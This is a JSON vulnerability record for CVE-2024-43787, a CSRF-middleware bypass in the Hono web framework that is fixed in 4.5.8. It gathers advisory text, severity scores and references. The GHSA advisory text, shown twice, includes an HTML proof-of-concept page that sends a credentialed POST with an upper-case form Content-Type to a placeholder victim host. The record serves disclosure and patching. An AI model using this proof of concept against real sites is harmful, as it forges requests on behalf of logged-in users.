{"id":"CVE-2024-43787","aliases":["CLSA-2026-1790413170","EUVD-2024-2653","GHSA-gq3j-xvxp-8hrf","GHSA-rpfr-3m35-5vx5"],"status":"published","title":"Hono CSRF middleware can be bypassed using crafted Content-Type header","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.","severity":{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00244,"percentile":0.15719,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2024-08-22T14:23:44Z","modified":"2026-10-28T02:30:37Z","fixes":[{"ecosystem":"npm","package":"hono","fixed_in":["4.5.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"hono","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"hono","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.12.12-tuxcare.0"},{"fixed":"3.12.12-tuxcare.1"}]}],"versions":["3.12.12"],"bundled":14},{"source":"osv","ecosystem":"npm","package":"hono","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.8"}]}]}],"products":[{"vendor":"eclipse","product":"hono"},{"vendor":"hono","product":"hono"},{"vendor":"honojs","product":"hono"}],"references":[{"url":"https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43787","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rpfr-3m35-5vx5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/43xxx/CVE-2024-43787.json","tags":["advisory"]},{"url":"https://github.com/honojs/hono","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-43787","title":"Hono CSRF middleware can be bypassed using crafted Content-Type header","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.","status":"published","published":"2024-08-22T14:23:44.025Z","modified":"2024-08-22T15:40:32.051Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:33:58.839967Z"}],"euvd":[{"id":"EUVD-2024-2653","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.","status":"published","published":"2024-08-22T14:23:44Z","modified":"2024-08-22T15:40:32Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-03T00:56:13.216602Z"}],"ghsa":[{"id":"GHSA-rpfr-3m35-5vx5","title":"Hono CSRF middleware can be bypassed using crafted Content-Type header","description":"### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n  \u003chead\u003e\n    \u003ctitle\u003eCSRF Test\u003c/title\u003e\n    \u003cscript defer\u003e\n      document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    \u003c/script\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003ch1\u003eCSRF Test\u003c/h1\u003e\n    \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI'm not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n","status":"published","published":"2024-08-22T16:41:08Z","modified":"2024-11-18T16:27:07Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"},{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:38:20.012356Z"}],"nvd":[{"id":"CVE-2024-43787","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.","status":"published","published":"2024-08-22T15:15:16.857Z","modified":"2026-06-17T07:51:42.86Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:10:19.870727Z"}],"osv":[{"id":"CVE-2024-43787","title":"Hono CSRF middleware can be bypassed using crafted Content-Type header","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.","status":"published","published":"2024-08-22T14:23:44.025Z","modified":"2026-10-28T02:30:37.235542063Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:44:42.322107Z"},{"id":"GHSA-rpfr-3m35-5vx5","title":"Hono CSRF middleware can be bypassed using crafted Content-Type header","description":"### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n  \u003chead\u003e\n    \u003ctitle\u003eCSRF Test\u003c/title\u003e\n    \u003cscript defer\u003e\n      document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    \u003c/script\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003ch1\u003eCSRF Test\u003c/h1\u003e\n    \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI'm not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n","status":"published","published":"2024-08-22T16:41:08Z","modified":"2026-09-10T03:50:55.380558715Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"},{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"CLSA-2026-1790413170","title":"TuxCare security update for hono (15 CVEs)","description":"TuxCare rebuilt hono to address 15 CVEs. Fixed in 3.12.12-tuxcare.1.","status":"published","published":"2026-09-26T08:59:30Z","modified":"2026-10-15T09:47:56.5204861Z","updated_at":"2026-11-02T15:43:48.65893Z"}]}}
